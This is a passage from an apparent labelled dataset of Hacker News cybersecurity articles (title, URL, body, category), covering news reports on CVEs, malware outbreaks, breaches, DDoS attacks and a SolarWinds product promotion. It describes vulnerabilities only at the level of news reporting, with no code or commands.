The vulnerability assigned with ID CVE-2014-1610 allows an attacker to execute shell code remotely via an incorrectly sanitized parameter on the MediaWiki application server.
""Shell meta characters can be passed in the page parameter to the thumb.php."" Bug 60339.
MediaWiki announced Security Releases 1.22.2, 1.21.5 and 1.19.11, ""Your MediaWiki installation is affected by a remote code execution vulnerability if you have enabled file upload support for DjVu (natively supported by MediaWiki) or PDF files (in combination with the PdfHandler extension). Neither file type is enabled by default in MediaWiki installations. If you are affected, we strongly urge you to update immediately.""

Key Findings: The vulnerability might have caused Wikipedia's web servers a malicious content distributor, if left uncovered.

""Check Point promptly alerted the WikiMedia Foundation to the presence of this vulnerability, and after verifying it the Foundation released a software update to correct the issue.""

An update was released from the Wikimedia Foundation after knowing about the vulnerability from Check Point. This is the 3rd 'remote code execution' vulnerability reported in MediaWiki Platform, since 2006.

""It only takes a single vulnerability on a widely adopted platform for a hacker to infiltrate and wreak widespread damage,"" says Dorit Dor, vice president of products, Check Point Software Technologies. Check Point's Vulnerability Research Group assesses common software to ensure the security of Internet users.

MediaWiki 's latest version 1.22.2 Stable is fully patched to defend against this flaw, and Wikipedia is now also upgraded to it.

Since almost all cyber security enthusiasts are putting efforts in finding security loopholes in the products available on the Internet, that has put Open source technology to the highest priority in terms of security testing.

",Vulnerability
Cisco finds new Zero-Day Exploit linked to NSA Hackers,https://thehackernews.com/2016/09/cisco-nsa-exploit.html,"Network equipment vendor Cisco is finally warning its customers of another zero-day vulnerability the company discovered in the trove of NSA's hacking exploits and implants leaked by the group calling itself ""The Shadow Brokers.""

Last month, the Shadow Brokers published firewall exploits, implants, and hacking tools allegedly stolen from the NSA's Equation Group, which was designed to target major vendors including, Cisco, Juniper, and Fortinet.

A hacking exploit, dubbed ExtraBacon, leveraged a zero-day vulnerability (CVE-2016-6366) resided in the Simple Network Management Protocol (SNMP) code of Cisco ASA software that could allow remote attackers to cause a reload of the affected system or execute malicious code.

Now Cisco has found another zero-day exploit, dubbed ""Benigncertain,"" which targets PIX firewalls.

Cisco analyzed the exploit and noted that it had not identified any new flaws related to this exploit in its current products.

But, further analysis of Benigncertain revealed that the exploit also affects Cisco products running IOS, IOS XE and IOS XR software.

Benigncertain leveraged the vulnerability (CVE-2016-6415) that resides in the IKEv1 packet processing code and affects several Cisco devices running IOS operating system and all Cisco PIX firewalls.

IKE (Internet Key Exchange) is a protocol used for firewalls, to provide virtual private networks (VPNs), and even manage industrial control systems.

A remote, unauthorized attacker could use this vulnerability to retrieve memory contents from traffic and disclose critical information such as RSA private keys and configuration information by sending specially crafted IKEv1 packets to affected devices.

""The vulnerability is due to insufficient condition checks in the part of the code that handles IKEv1 security negotiation requests. An attacker could exploit this vulnerability by sending a crafted IKEv1 packet to an affected device configured to accept IKEv1 security negotiation requests,"" Cisco said in its advisory.

Cisco's IOS operating system XR versions 4.3.x, 5.0.x, 5.1.x and 5.2.x, as well as PIX firewalls versions 6.x and earlier, are vulnerable to this flaw, though the company has not supported PIX since 2009.

Neither Cisco has developed a patch for the flaw, nor any workarounds are available.

The company said the vulnerability is currently under exploit, advising its customers to employ intrusion detection system (IDS) and intrusion prevention systems (IPS) to help stop the attacks.

Cisco promised to release software updates to patch CVE-2016-6415 but did not specify a time frame.

",Vulnerability
Adobe to issue Emergency Patch for Critical Flash Player Vulnerability,https://thehackernews.com/2016/04/adobe-flash-update.html,"Adobe has been one of the favorite picks of the Hackers to mess with any systems devoid of any operating systems, as Flash Player is a front runner in all the browsers.

Hackers have already been targeting Flash Player for long by exploiting known vulnerabilities roaming in the wild.

Despite Adobe's efforts, Flash is not safe anymore for Internet security, as one more critical vulnerability had been discovered in the Flash Player that could crash the affected system and potentially allow an attacker to take control of the system.

Discovered by a French Researcher Kafeine, FireEye's Genwei Jiang, and Google's Clement Lecigne, the flaw affects Adobe Flash Player 21.0.0.197 and its earlier versions for Windows, Macintosh, Linux and Chrome OS.

The vulnerability, assigned under CVE-2016-1019, also expands back to Windows 7 and even towards Windows XP.

Adobe had also confirmed that the newly discovered vulnerability in its Flash Player is being exploited actively in the wild.

Update Adobe Flash Player Software

This issue caused the Adobe engineers to urgently work on a mitigation method and release an emergency update under Flash Player 21.0.0.182, which is expected to get released this Thursday.

Usually, Adobe releases its patch on the second Tuesday of the month, the same day as Microsoft, but rolls out emergency patches on an ad hoc basis, analyzing the seriousness of the bug.

The endless Adobe updates and upgrades had failed to ensure the user security in the real time scenario. So it's high time for users to disable or completely uninstall Adobe Flash Player.

Believe or not, Adobe Flash Player is dead and its time has passed.

In January last year, YouTube moved away from Flash for delivering videos.

Although in between Flash made an effort to beef up its security in a bid to justify its existence, things got a bit heated when Firefox became aware of a critical bug and blocked the Flash plugin entirely.

Facebook's Security Chief publicly called for Adobe to announce a kill date for Flash. In fact, Google Chrome has also begun blocking auto-playing Flash ads by default.

",Vulnerability
Critical Print Spooler Bug allows Attackers to Hack any version of Microsoft Windows,https://thehackernews.com/2016/07/printer-security-update.html,"Microsoft's July Patch Tuesday offers 11 security bulletins with six rated critical resolving almost 50 security holes in its software.

The company has patched a security flaw in the Windows Print Spooler service that affects all supported versions of Windows ever released, which if exploited could allow an attacker to take over a device via a simple mechanism.

The ""critical"" flaw (CVE-2016-3238) actually resides in the way Windows handles printer driver installations as well as the way end users connect to printers.

The flaw could allow an attacker to install malware remotely on victim machine that can be used to view, modify or delete data, or create new accounts with full user rights; Microsoft said in MS16-087 bulletin posted Tuesday.

Users who are logged in with fewer user rights on the system are less impacted than users who operate with administrative user rights, such as some home accounts and server users.

Microsoft said the critical flaw could be exploited to allow remote code execution if an attacker can conduct a man-in-the-middle (MiTM) attack on a system or print server or set up a rogue print server on a target network.

The critical flaw was discovered and reported by the researchers at security firm Vectra Networks, who disclosed some details on the vulnerability, but didn't publish their proof-of-concept (POC) code.

You can watch the video that shows the hack in action:

In corporate networks, by default network administrators allow printers to deliver the necessary drivers to workstations or systems connected to the network. These drivers are silently installed without user interaction and run with full privileges under the SYSTEM user.

According to researchers, attackers can replace these drivers on the printer with malicious files that could allow them to execute code of their choice.

More worrisome: If the printer is behind a firewall, attackers can even hack other device or computer on that particular network, and then use it to host their malicious files.

Watering Hole Attacks via Printers
Like servers, multiple computers are also connected to printers in an effort to print documents as well as download drivers. So, this flaw allows a hacker to execute watering hole attacks technically using printers.

Watering hole attacks, or drive-by downloads, are used to target businesses and organizations by infecting them with malware to gain access to the network.
""Rather than infecting users individually, an attacker can effectively turn one printer into a watering hole that will infect every Windows device that touches it,"" said Vectra chief security officer Gunter Ollmann.
""Anyone connecting to the printer share will download the malicious driver. This moves the attack vector from physical devices to any device on the network capable of hosting a virtual printer image.""
This flaw (CVE-2016-3238) is by far the most dangerous vulnerability of the year, which is easy to execute, provides different ways of launch attacks, and affects a huge number of users.

A second related vulnerability, CVE-2016-3239, in MS16-087 bulletin is a privilege escalation flaw that could allow attackers to write to the file system.

A security bulletin for Microsoft Office, MS16-088, includes patches for seven remote code execution (RCE) vulnerabilities, 6 of them are memory corruption flaws, which affects Microsoft Office, SharePoint Server as well as Office Web Apps.

The flaws can be exploited by specially crafted Office files, allowing attackers to run arbitrary code with same privileges as the logged in user.

Bulletin MS16-084 addresses flaws in Internet Explorer and MS16-085 in Microsoft Edge. The IE flaws include RCE, privilege escalation, information disclosure and security bypass bugs.

Edge flaws include a handful of RCE and memory corruption flaws in the Chakra JavaScript engine, as well as an ASLR bypass, information disclosure, browser memory corruption, and spoofing bugs.

Bulletin MS16-086 addresses a vulnerability in the JScript and VBScript engines in Windows, which could allow an attacker to execute remote code execution flaw, affecting VBScript 5.7 and JScript 5.8.

Rest five bulletins rated as important address flaws in Windows Secure Kernel Mode, Windows Kernel-Mode Drivers, the .NET framework, the Windows Kernel, and Secure Boot process.

Users are advised to patch their system and software as soon as possible.

",Cyber_Attack
"Turns Out New Petya is Not a Ransomware, It's a Destructive Wiper Malware",https://thehackernews.com/2017/06/petya-ransomware-wiper-malware.html,"What if I say the Tuesday's devastating global malware outbreak was not due to any ransomware infection?

Yes, the Petya ransomware attacks that began infecting computers in several countries, including Russia, Ukraine, France, India and the United States on Tuesday and demands $300 ransom was not designed with the intention of restoring the computers at all.

According to a new analysis, the virus was designed to look like ransomware but was wiper malware that wipes computers outright, destroying all records from the targeted systems.

Comae Technologies Founder Matt Suiche, who closely looked the operation of the malware, said after analyzing the virus, known as Petya, his team found that it was a ""Wiper malware,"" not ransomware.

Security experts even believe the real attack has been disguised to divert world's attention from a state-sponsored attack on Ukraine to a malware outbreak.

""We believe the ransomware was, in fact, a lure to control the media narrative, especially after the WannaCry incident, to attract the attention on some mysterious hacker group rather than a national state attacker,"" Suiche writes.

Is Petya Ransomware Faulty or Over-Smart?

Petya is a nasty piece of malware that, unlike other traditional ransomware, does not encrypt files on a targeted system one by one.

Instead, Petya reboots victims computers and encrypts the hard drive's master file table (MFT) and renders the master boot record (MBR) inoperable, restricting access to the full system by seizing information about file names, sizes, and location on the physical disk.

Then Petya ransomware takes an encrypted copy of MBR and replaces it with its own malicious code that displays a ransom note, leaving computers unable to boot.
However, this new variant of Petya does not keep a copy of replaced MBR, mistakenly or purposely, leaving infected computers unbootable even if victims get the decryption keys.

Also, after infecting one machine, the Petya ransomware scans the local network and quickly infects all other machines (even fully-patched) on the same network, using EternalBlue SMB exploit, WMIC and PSEXEC tools.

Don't Pay Ransom; You Wouldn't Get Your Files Back

So far, nearly 45 victims have already paid total $10,500 in Bitcoins in hope to get their locked files back, but unfortunately, they would not.

It's because the email address, which was being set-up by the attackers to communicate with victims and send decryption keys, was suspended by the German provider shortly after the outbreak.

Meaning, even if victims do pay the ransom, they will never recover their files. Kaspersky researchers also said same.

""Our analysis indicates there is little hope for victims to recover their data. We have analyzed the high-level code of the encryption routine, and we have figured out that after disk encryption, the threat actor could not decrypt victims' disks,"" the security firm said.

""To decrypt a victim's disk threat actors need the installation ID. In previous versions of 'similar' ransomware like Petya/Mischa/GoldenEye this installation ID contained the information necessary for key recovery.""

If claims made by the researcher is correct that the new variant of Petya is a destructive malware designed to shut down and disrupt services around the world, the malware has successfully done its job.

However, it is still speculation, but the virus primarily and massively targeted multiple entities in Ukraine, including the country's local metro, Kiev's Boryspil airport, electricity supplier, the central bank, and the state telecom.

Other countries infected by the Petya virus included Russia, France, Spain, India, China, the United States, Brazil, Chile, Argentina, Turkey and South Korea.

How Did Petya get into the Computers in the First Place?

According to research conducted by Talos Intelligence, little-known Ukrainian firm MeDoc is likely the primary source of the yesterday's global ransomware outbreak.

Researchers said the virus has possibly been spread through a malicious software update to a Ukrainian tax accounting system called MeDoc, though MeDoc has denied the allegations in a lengthy Facebook post.

""At the time of updating the program, the system could not be infected with the virus directly from the update file,"" translated version of MeDoc post reads. ""We can argue that users of the MEDoc system can not infect their PC with viruses at the time of updating the program.""

However, several security researchers and even Microsoft agreed with Talo's finding, saying MeDoc was breached and the virus was spread via updates.

",Malware
"Uh oh, Yahoo! Data Breach May Have Hit Over 1 Billion Users",https://thehackernews.com/2016/09/yahoo-data-breach-billion.html,"The massive data breach that Yahoo! confirmed to the world last week is claimed by the company to have been carried out by a ""state-sponsored actor"" in 2014, which exposed the accounts of at least 500 Million Yahoo users.

But, now it seems that Yahoo has downplayed a mega data breach and trying to hide it's own security blunder.

Recently the information security firm InfoArmor that analyzed the data breach refuted the Yahoo's claim, stating that the data breach was the work of seasoned cyber criminals who later sold the compromised Yahoo accounts to an Eastern European nation-state.

Over 1 Billion Accounts May Have Been Hacked

Now, there's one more twist in the unprecedented data heist.

A recent advancement in the report indicates that the number of affected Yahoo accounts may be between 1 Billion and 3 Billion.

An unnamed, former Yahoo executive who is familiar with the company's security says that the Yahoo's back-end system's architecture is designed in such a way that all of its products use one main user database (UDB) to authenticate users, Business Insider reported Friday.

So all usernames and passwords that users enter to log into services like Yahoo Mail, Sports or Finance goes to this one central database to ensure they are valid, allowing them access.

This central database is what got compromised, and therefore, it's quite difficult to believe that the hackers who compromised the whole database walk away with just a small bunch of ""the core crown jewels of Yahoo customer credentials.""

Whoever carried out the hack not only stole usernames and email addresses of affected users but also pilfered other personal information, including their dates of birth, phone numbers, hashed passwords, and unencrypted security answers.

So, it's unclear how Yahoo come up with the 500 Million number.

The company had not commented further on how the data breach happened or when it was discovered, citing an active investigation.

Yahoo! could have saved you, but decided not to:

A lengthy report published by the New York Times seemingly explains that the company did not reset the passwords of its users after the breach due to the decisions made by Yahoo's CEO Marissa Mayer, who seemed to prioritize developing new products over making security improvements.

The reason sounds stupid, as the article reads:
""The 'Paranoids,' the internal name for Yahoo's security team, often clashed with other parts of the business over security costs. And their requests were often overridden because of concerns that the inconvenience of added protection would make people stop using the company's products.""
If Yahoo had reset the passwords of its affected users, proper security measures would have been taken by users to protect their personal data from hackers.

Let's see what new advancements come to this unprecedented data breach.

Already, the Yahoo hack is believed to be one of the biggest in history, and the company is still trying to negotiate a deal to sell its core business to Verizon for $4.8 Billion.

Yahoo! has yet to respond to the recent revelation by the insider.

Data breach news has already magnified company's problems, but if breach number reaches Billion, would the company be able to save its acquisition deal?

Let us know in the comments below...

",Data_Breaches
"Over 115,000 Drupal Sites Still Vulnerable to Drupalgeddon2 Exploit",https://thehackernews.com/2018/06/drupalgeddon2-exploit.html,"Hundreds of thousands of websites running on the Drupal CMS—including those of major educational institutions and government organizations around the world—have been found vulnerable to a highly critical flaw for which security patches were released almost two months ago.

Security researcher Troy Mursch scanned the whole Internet and found over 115,000 Drupal websites are still vulnerable to the Drupalgeddon2 flaw despite repetitive warnings.

Drupalgeddon2 (CVE-2018-7600) is a highly critical remote code execution vulnerability discovered late March in Drupal CMS software (versions < 7.58 / 8.x < 8.3.9 / 8.4.x < 8.4.6 / 8.5.x < 8.5.1) that could allow attackers to completely take over vulnerable websites.

For those unaware, Drupalgeddon2 allows an unauthenticated, remote attacker to execute malicious code on default or standard Drupal installations under the privileges of the user.

Since Drupalgeddon2 had much potential to derive attention of motivated attackers, the company urged all website administrators to install security patches immediately after it was released in late March and decided not to release any technical details of the flaw initially.
However, attackers started exploiting the vulnerability only two weeks after complete details and proof-of-concept (PoC) exploit code of Drupalgeddon2 was published online, which was followed by large-scale Internet scanning and exploitation attempts.

Shortly after that, we saw attackers developed automated exploits leveraging Drupalgeddon 2 vulnerability to inject cryptocurrency miners, backdoors, and other malware into websites, within few hours after it's detailed went public.

Mursch scanned the Internet and found nearly 500,000 websites were running on Drupal 7, out of which 115,070 were still running an outdated version of Drupal vulnerable to Drupalgeddon2.

While analyzing vulnerable websites, Mursch noticed that hundreds of them—including those of Belgium police department, Colorado Attorney General office, Fiat subsidiary Magneti Marelli and food truck locating service—have already been targeted by a new cryptojacking campaign.

Mursch also found some infected websites in the campaign that had already upgraded their sites to the latest Drupal version, but the cryptojacking malware still existed.

We have been warning users since March that if you are already infected with the malware, merely updating your Drupal website would not remove the ""backdoors or fix compromised sites."" To fully resolve the issue you are recommended to follow this Drupal guide.

",Cyber_Attack
Real Ghost Caught on Camera! New Facebook Scams Lure Users to Download Malware,https://thehackernews.com/2014/05/real-ghost-caught-on-camera-new.html,"If your Facebook wall offers you any horror videos that claim to be of a real ghost spotted, don't dare to click on them, as it may be hoaxes, malwares or scams contained within which are the real horror for the online users.

We have seen a lot of Facebook scams spreading through the Facebook timeline in wild that encourages users to click on it and fall victim, and this time some new horror scam campaign is going viral on Facebook.

Christopher Boyd from the security firm Malwarebytes has discovered an epidemic of hoaxes making their way around Facebook with paranormal themes, including:
Alleged footage of an ""actual"" ghost attack
a video featuring the Aswang that is described as ""a mythical shape-shifting were-dog/vampire/terrifying thing from the Philippines""
a video of Mermaids claiming they are back!
Video of a huge great white shark tearing apart a sea captain.
Facebook has become one of the most popular social networking website with more than one billion active users this year and daily hundreds of people join the networking website to connect with new friends and reconnect with their old friends.

But, with the increase in various scams on Facebook to target users, it became very clear that not only does the social networking platform provide special opportunities for people to connect and share information; it also serves as a great and useful platform for scammers to spread malware or virus infections or redirect users to the sites of their own choice.

Once again scammers have targeted Facebook users and encouraging them to open the scammed video and once clicked, Facebook users are either asked to download or install updates to the video players, but actually these installations will lead to successful malware installation to the users system.

According to Malwarebytes, the ghost attack scam video will led users to the install PUP.Optional.InstallBrain.A, the Aswang prompted unsuspecting Facebook users to download ""scan your PC"" malware, the mermaids led to an iLivid install that was actually PUP.Optional.Bandoo, whereas the shark brought users to pages filled with spammy surveys and downloads.
""That concludes our spooky train ride through a mid-May haunted house of doom. Please keep your hands inside the cart until the gates have opened, and avoid clicking on fake Facebook videos at the gift counter,"" Christopher Boyd of Malwarebytes wrote.

We have seen various suspicious posts on Facebook, like the recent ""Facebook Security Warning!!! Do this before your account gets deactivated!"" scam that threatens users with account deactivation if they don't register it again, and ""See your Friend's naked video"", an app offering you a chance to see who has viewed your Facebook profile, and many more. Sometimes these scams are very obvious and easily avoidable, but many times they are irresistible and easy to fall for.

So, if you are served with any such suspicious post or any other suspicious link, do not click on it, no matter it's from your closest friend.

",Malware
"Malicious Minecraft apps affect 600,000 Android Users",https://thehackernews.com/2015/05/minecraft-app.html,"So you love Minecraft? You might want to be very careful before downloading the cheats for the popular Minecraft game from Google Play Store.

Nearly 3 Million users have downloaded malicious Minecraft Android applications for their smartphone and tablets from the Google Play store, security researchers warned.

The security researchers from IT security firm ESET have uncovered as many as 33 fake ""scareware"" applications that have been uploaded to the Google Play store in the course of the past 9 months, masquerading as Minecraft cheats and tip guides.

These malicious applications have been downloaded between 660,000 and 2.8 million times.
""All of the discovered apps were fake in that they did not contain any of the promised functionality and only displayed banners that tried to trick users into believing that their Android system is infected with a dangerous virus,"" ESET researcher Lukas Stefanko wrote in a blog post.
Once downloaded, these malicious applications show banners designed to trick victims into believing that a dangerous virus has infected their Android smartphone devices.

The pop-up alert message also gives victims an option to remove the virus from their device, thereby activating premium-rate SMS subscription that would cost them around €4.80 (£3.40) per week - around £177 per year.

Stefanko says that many users who downloaded the malicious Minecraft app thought it was genuine since they downloaded and installed them from the Google Play Store. Thus, the regular advice of not downloading apps from third-party websites does not apply in this case.

These scareware Minecraft apps appear to have been developed by the same developer but feature different names and icons.

""They were uploaded to the [Google] Play store by different developer accounts, but we assume that these were all created by one person,"" Stefanko says

Moreover, in an attempt to make the scam appears legitimate, cybercriminals took advantage of the names of reputed mobile anti-virus vendors, like G-Data.

The fake Minecraft apps have since been removed from the Google Play store, the researchers revealed, however, you can protect yourself from falling victims to these apps by using a good security software on your smartphone and avoiding apps from unknown sources.

This isn't first time when the Google Play Store has been found distributing malicious applications. The Play store has had a long history of malicious and fake apps.

However, the search engine giant has been trying to get rid of this issue by making use of the Bouncer bot that helped reduce the number of malicious apps by as much as 40 percent since 2011. Back in March, Google also announced plans to manually review Play Store Android app submissions.

",Malware
Biggest-Ever DDoS Attack (1.35 Tbs) Hits Github Website,https://thehackernews.com/2018/03/biggest-ddos-attack-github.html,"On Wednesday, February 28, 2018, GitHub's code hosting website hit with the largest-ever distributed denial of service (DDoS) attack that peaked at record 1.35 Tbps.

Interestingly, attackers did not use any botnet network, instead weaponized misconfigured Memcached servers to amplify the DDoS attack.

Earlier this week we published a report detailing how attackers could abuse Memcached, popular open-source and easily deployable distributed caching system, to launch over 51,000 times powerful DDoS attack than its original strength.

Dubbed Memcrashed, the amplification DDoS attack works by sending a forged request to the targeted Memcrashed server on port 11211 using a spoofed IP address that matches the victim's IP.

A few bytes of the request sent to the vulnerable server trigger tens of thousands of times bigger response against the targeted IP address.
""This attack was the largest attack seen to date by Akamai, more than twice the size of the September 2016 attacks that announced the Mirai botnet and possibly the largest DDoS attack publicly disclosed,"" said Akamai, a cloud computing company that helped Github to survive the attack.
In a post on its engineering blog, Github said, ""The attack originated from over a thousand different autonomous systems (ASNs) across tens of thousands of unique endpoints. It was an amplification attack using the memcached-based approach described above that peaked at 1.35Tbps via 126.9 million packets per second.""

Expect More Record-Breaking DDoS Attacks

Though amplification attacks are not new, this attack vector evolves thousands of misconfigured Memcached servers, many of which are still exposed on the Internet and could be exploited to launch potentially more massive attacks soon against other targets.

To prevent Memcached servers from being abused as reflectors, administrators should consider firewalling, blocking or rate-limiting UDP on source port 11211 or completely disable UDP support if not in use.

",Cyber_Attack
Critical Unpatched RCE Flaw Disclosed in LG Network Storage Devices,https://thehackernews.com/2018/04/hacking-nas-devices.html,"If you have installed a network-attached storage device manufactured by LG Electronics, you should take it down immediately, read this article carefully and then take appropriate action to protect your sensitive data.

A security researcher has revealed complete technical details of an unpatched critical remote command execution vulnerability in various LG NAS device models that could let attackers compromise vulnerable devices and steal data stored on them.

LG's Network Attached Storage (NAS) device is a dedicated file storage unit connected to a network that allows users to store and share data with multiple computers. Authorized users can also access their data remotely over the Internet.

The vulnerability has been discovered by the researcher at privacy advocate firm VPN Mentor, the same company that last month revealed severe flaws in three popular VPNs—HotSpot Shield, PureVPN, and ZenMate VPN.

The LG NAS flaw is a pre-authenticated remote command injection vulnerability, which resides due to improper validation of the ""password"" parameter of the user login page for remote management, allowing remote attackers to pass arbitrary system commands through the password field.
As demonstrated by the researchers in the following video, attackers can exploit this vulnerability to first write a simple persistent shell on the vulnerable storage devices connected to the internet.

Using that shell, attackers can then execute more commands easily, one of which could also allow them to download the complete database of NAS devices, including users' emails, usernames and MD5 hashed passwords.

Since passwords protected with MD5 cryptographic hash function can easily be cracked, attackers can gain authorized access and steal users sensitive data stored on the vulnerable devices.

In case, attackers don't want to crack the stolen password, they can simply run another command, as shown, to add a new user to the device, and log-in with that credentials to get the job done.
To add a new user to the database, all an attacker needs to do is generate a valid MD5. ""We can use the included MD5 tool to create a hash with the username test and the password 1234,"" the researchers say.

Since LG has not yet released a fix for the issue, users of LG NAS devices are advised to ensure that their devices are not accessible via the public Internet and should be protected behind a firewall configured to allow only a trusted set of IPs to connect to the web interface.

Users are also recommended to periodically look out for any suspicious activity by checking all registered usernames and passwords on their devices.

",Vulnerability
Police Raided German Spyware Company FinFisher Offices,https://thehackernews.com/2020/10/finfisher-spyware-raid.html,"German investigating authorities have raided the offices of Munich-based company FinFisher that sells the infamous commercial surveillance spyware dubbed 'FinSpy,' reportedly in suspicion of illegally exporting the software to abroad without the required authorization.
Investigators from the German Customs Investigation Bureau (ZKA), ordered by the Munich Public Prosecutor's Office, searched a total of 15 properties in Munich, including business premises of FinFisher GmbH, two other business partners, as well as the private apartments of the managing directors, along with a partner company in Romania from October 6 to 8.
For those unaware, FinSpy is extremely powerful spying software that is being sold as a legal law enforcement tool to governments around the world but has also been found in use by oppressive and dubious regimes to spy on activists, political dissidents and journalists.
FinSpy malware can target both desktop and mobile operating systems, including Android, iOS, Windows, macOS, and Linux, and gives its operator spying capabilities, including secretly turning on victims' webcams and microphones, recording everything they types on the keyboard, intercepting calls, and exfiltration of sensitive data.
However, a new report from BR (Bayerischer Rundfunk) and (Norddeutscher Rundfunk) NDR suggests the spying firm illegally exported FinSpy to other countries without the correct export license issued by the federal government.
The Munich public prosecutor's office is now investigating ""suspected violations of the Foreign Trade Act against managing directors and employees of FinFisher GmbH and at least two other companies,"" said a spokeswoman to BR and NDR.
The raids were part of a criminal complaint [pdf] filed by the GFF, Netzpolitik, Reporters Without Borders (ROG), and the European Center for Constitutional Rights and Human Rights (ECCHR) against the managing directors of FinFisher GmbH in July 2019.
In 2015, a permit requirement for exports of FinSpy to non-EU countries was introduced across Europe, but even after the federal government not issued a single export license, the surveillance software was found on a Turkish website in 2017 to spy on members of the opposition and was used in Egypt to target NGOs.
This strongly suggests that the surveillance company illegally exported the FinSpy software despite the existing permit requirements.
Unfortunately, the German media site has taken down the original report it posted last year after FinFisher sued the publication and won the case.
We will update the article as and when new information becomes available.

",Malware
Researchers Warn of Critical Bugs Affecting Realtek Wi-Fi Module,https://thehackernews.com/2021/06/researchers-warn-of-critical-bugs.html,"A new set of critical vulnerabilities has been disclosed in the Realtek RTL8170C Wi-Fi module that an adversary could abuse to gain elevated privileges on a device and hijack wireless communications.
""Successful exploitation would lead to complete control of the Wi-Fi module and potential root access on the OS (such as Linux or Android) of the embedded device that uses this module,"" researchers from Israeli IoT security firm Vdoo said in a write-up published yesterday.
The Realtek RTL8710C Wi-Fi SoC underpins Ameba, an Arduino-compatible programmable platform equipped with peripheral interfaces for building a variety of IoT applications by devices spanning across agriculture, automotive, energy, healthcare, industrial, security, and smart home sectors.
The flaws affect all embedded and IoT devices that use the component to connect to Wi-Fi networks and would require an attacker to be on the same Wi-Fi network as the devices that use the RTL8710C module or know the network's pre-shared key (PSK), which, as the name implies, is a cryptographic secret used to authenticate wireless clients on local area networks.
The findings follow an earlier analysis in February that found similar weaknesses in the Realtek RTL8195A Wi-Fi module, chief among them being a buffer overflow vulnerability (CVE-2020-9395) that permits an attacker in the proximity of an RTL8195 module to completely take over the module without having to know the Wi-Fi network password.
In the same vein, the RTL8170C Wi-Fi module's WPA2 four-way handshake mechanism is vulnerable to two stack-based buffer overflow vulnerabilities (CVE-2020-27301 and CVE-2020-27302, CVSS scores: 8.0) that abuse the attacker's knowledge of the PSK to obtain remote code execution on WPA2 clients that use this Wi-Fi module.
As a potential real-world attack scenario, the researchers demonstrated a proof-of-concept (PoC) exploit wherein the attacker masquerades as a legitimate access point and sends a malicious encrypted group temporal key (GTK) to any client (aka supplicant) that connects to it via WPA2 protocol. A group temporal key is used to secure all multicast and broadcast traffic.
Vdoo said there are no known attacks underway exploiting the vulnerabilities, adding firmware versions released after Jan. 11, 2021 include mitigations that resolve the issue. The company also recommends using a ""strong, private WPA2 passphrase"" to prevent exploitation of the above issues in scenarios where the device's firmware can't be updated.

",Vulnerability
Google Chrome adds automatic malware blocking for suspicious downloads,https://thehackernews.com/2013/11/google-chrome-adds-automatic-malware.html,"Today Malware is a very real threat, and if you're not careful about what you download and install, you could end up with a serious problem. But now Google will be trying their very best to block malware from installing itself on your computer on your behalf.
Google has developed a security feature for Chrome that lets the browser detect and stop malware downloads. The feature has been added to Chrome Canary, the latest version of the browser which is available to download in beta form now.

All you'll see is a notification like the one below, which you can then dismiss:
""These malicious programs disguise themselves so you won't know they're there and they may change your homepage or inject ads into the sites you browse. Worse, they block your ability to change your settings back and make themselves hard to uninstall, keeping you trapped in an undesired state."" wrote Linus Upson, a Google vice president, in a blog post.

Google is implementing automatic malware blocking in Chrome because of more sophisticated malware attacks that could change your browser settings, often block your ability to reset them back and make themselves hard to uninstall, keeping you trapped in an undesired state.

""Online criminals have been increasing their use of malicious software that can silently hijack your browser settings. This has become a top issue in the Chrome help forums; we're listening and are here to help.""
So Google Chrome has also added a 'rest browser settings' button, enabling user to revert Chrome back to its default search engine, removing any saved searches to their original settings, homepage button and any pinned tabs get removed, startup and new tab tabs cleared, cookies, site data, and content settings all get wiped, and finally, extensions and themes disabled.

Google is currently adding 10,000 new URLs per day to its Google Safe Browsing service, that is used by Chrome, Firefox, and Safari browsers to warn users of potentially unsafe websites.

",Malware
Data Loss Prevention – Log & Event Manager,https://thehackernews.com/2015/01/data-loss-prevention-tools.html,"In today's world your network is subject to a multitude of vulnerabilities and potential intrusions and it seems like we see or hear of a new attack weekly. A data breach is arguably the most costly and damaging of these attacks and while loss of data is painful the residual impact of the breach is even more costly.

The loss or leakage of sensitive data can result in serious damage to an organization, including:
Loss of intellectual property
Loss of copyrighted information
Compliance violations
Damage to corporate reputation/brand
Loss of customer loyalty
Loss of future business opportunities
Lawsuits and ongoing litigation
Financial and criminal penalties
To help you protect sensitive data and reduce the risk of data loss, we recommend using a Security Information and Event Management (SIEM) technology such as SolarWinds® Log & Event Manager.

If you're not familiar with Log & Event Manager (LEM), it's a comprehensive SIEM product, packaged in an easy-to-use, all-in-one virtual appliance. It's loaded with out-of-the-box functionality so you can hit the ground running without having to be a security expert! Most importantly, LEM has expert developed features to help with data loss prevention.

Download a free, Fully-Functional, 30 day trial of LEM.

Feature #1 Real-Time Event Correlation
SolarWinds LEM employs a proactive approach to help you identify and respond to threats in real time. LEM automatically collects and aggregates log data from network devices, systems, and applications throughout the IT infrastructure. It then normalizes this data into a consistent format and performs multiple event correlation, along with the distinct ability to set independent activity thresholds per event or per group of events. The end result is security intelligence you can count on and reduced false positives.
Instantly detect security, operational, and compliance issues, including external breaches, insider abuse, policy violations, application availability, performance problems, and more
Get alerted in real time and contain threats at network speed
Leverage over 700 built-in event correlation rules for out-of-the-box visibility and intelligence
Gain immediate insight into network anomalies and suspicious patterns in your environment
Detect and stop zero-day, multi-vector and blended threats
Feature #2 Unauthorized Network Access Prevention
SolarWinds LEM can help protect your network from unauthorized access in multiple ways, including the ability to monitor user activity, such as logon attempts, and then correlate events with other log activity to identify suspicious behavior and malicious activity. LEM can then automatically disable user access. Another key way LEM can prevent access to sensitive data is through its real-time detection and automatic detachment of unauthorized USB devices. Plus, LEM enables you to monitor what files and processes are accessed on the device.

Feature #3 Embedded File Integrity Monitoring
SolarWinds' SIEM software has real-time File Integrity Monitoring (FIM) for Windows® allowing you to address more compliance requirements and gain deeper security visibility.
Provides intelligence that you can't get from logs to detect zero-day malware, insider abuse, and stealthy attacks
Addresses key requirements of regulations including PCI DSS, HIPAA, SOX, and more at no extra cost
Deep integration with SIEM provides a complete view of all user activity across files, applications, systems, and networks
Advanced threat techniques and increased regulatory scrutiny demands make attacks harder to detect and audits harder to pass. Logs alone don't provide the intelligence required to detect today's advanced threats. Log & Event Manager includes File Integrity Monitoring (FIM) to deliver granular information about file and system access that you can't get from logs.

Feature #4 Stay Compliant, Stay Secure
Being in line with IT compliance regulations, such as PCI DSS, GLBA, SOX, NERC CIP, and HIPAA require businesses to protect, track, and control access to and usage of confidential/proprietary information and private customer data. Unfortunately, many organizations treat compliance as just a ""checkbox"" to pass an audit, instead of focusing on putting truly effective controls in place to better secure their network resources and critical data.

